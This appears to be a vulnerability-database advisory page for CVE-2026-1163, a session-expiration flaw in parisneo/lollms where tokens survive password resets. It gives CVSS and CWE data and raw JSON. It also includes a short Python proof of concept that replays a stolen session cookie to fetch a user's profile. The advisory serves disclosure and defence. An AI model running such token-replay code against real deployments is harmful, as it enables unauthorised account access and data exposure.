Security Vulnerability Report
中文
CVE-2026-1163 CVSS 4.1 MEDIUM

CVE-2026-1163

Published: 2026-04-08 03:16:08
Last Modified: 2026-04-30 16:16:23

Description

An insufficient session expiration vulnerability exists in the latest version of parisneo/lollms. The application fails to invalidate active sessions after a password reset, allowing an attacker to continue using an old session token. This issue arises due to the absence of logic to reject requests after a period of inactivity and the excessively long default session duration of 31 days. The vulnerability enables an attacker to maintain persistent access to a compromised account, even after the victim resets their password.

CVSS Details

CVSS Score
4.1
Severity
MEDIUM
CVSS Vector
CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

parisneo/lollms (最新版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Conceptual PoC for CVE-2026-1163 # This script demonstrates that an old session token remains valid after a password reset. target_url = "http://target-lollms-instance/api/user/profile" # Old session token obtained before password reset stolen_session_cookie = {"session_id": "attacker_stolen_token_value_12345"} def check_session_validity(): response = requests.get(target_url, cookies=stolen_session_cookie) if response.status_code == 200: print("[+] Exploit Successful: Old session token is still valid after password reset.") print("[+] User Data:", response.text) else: print("[-] Exploit Failed: Session invalidated.") if __name__ == "__main__": check_session_validity()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1163", "sourceIdentifier": "[email protected]", "published": "2026-04-08T03:16:07.500", "lastModified": "2026-04-30T16:16:23.063", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An insufficient session expiration vulnerability exists in the latest version of parisneo/lollms. The application fails to invalidate active sessions after a password reset, allowing an attacker to continue using an old session token. This issue arises due to the absence of logic to reject requests after a period of inactivity and the excessively long default session duration of 31 days. The vulnerability enables an attacker to maintain persistent access to a compromised account, even after the victim resets their password."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.7, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-613"}]}], "references": [{"url": "https://huntr.com/bounties/abe2d1c4-c21c-4608-8a8e-274565246a8b", "source": "[email protected]"}]}}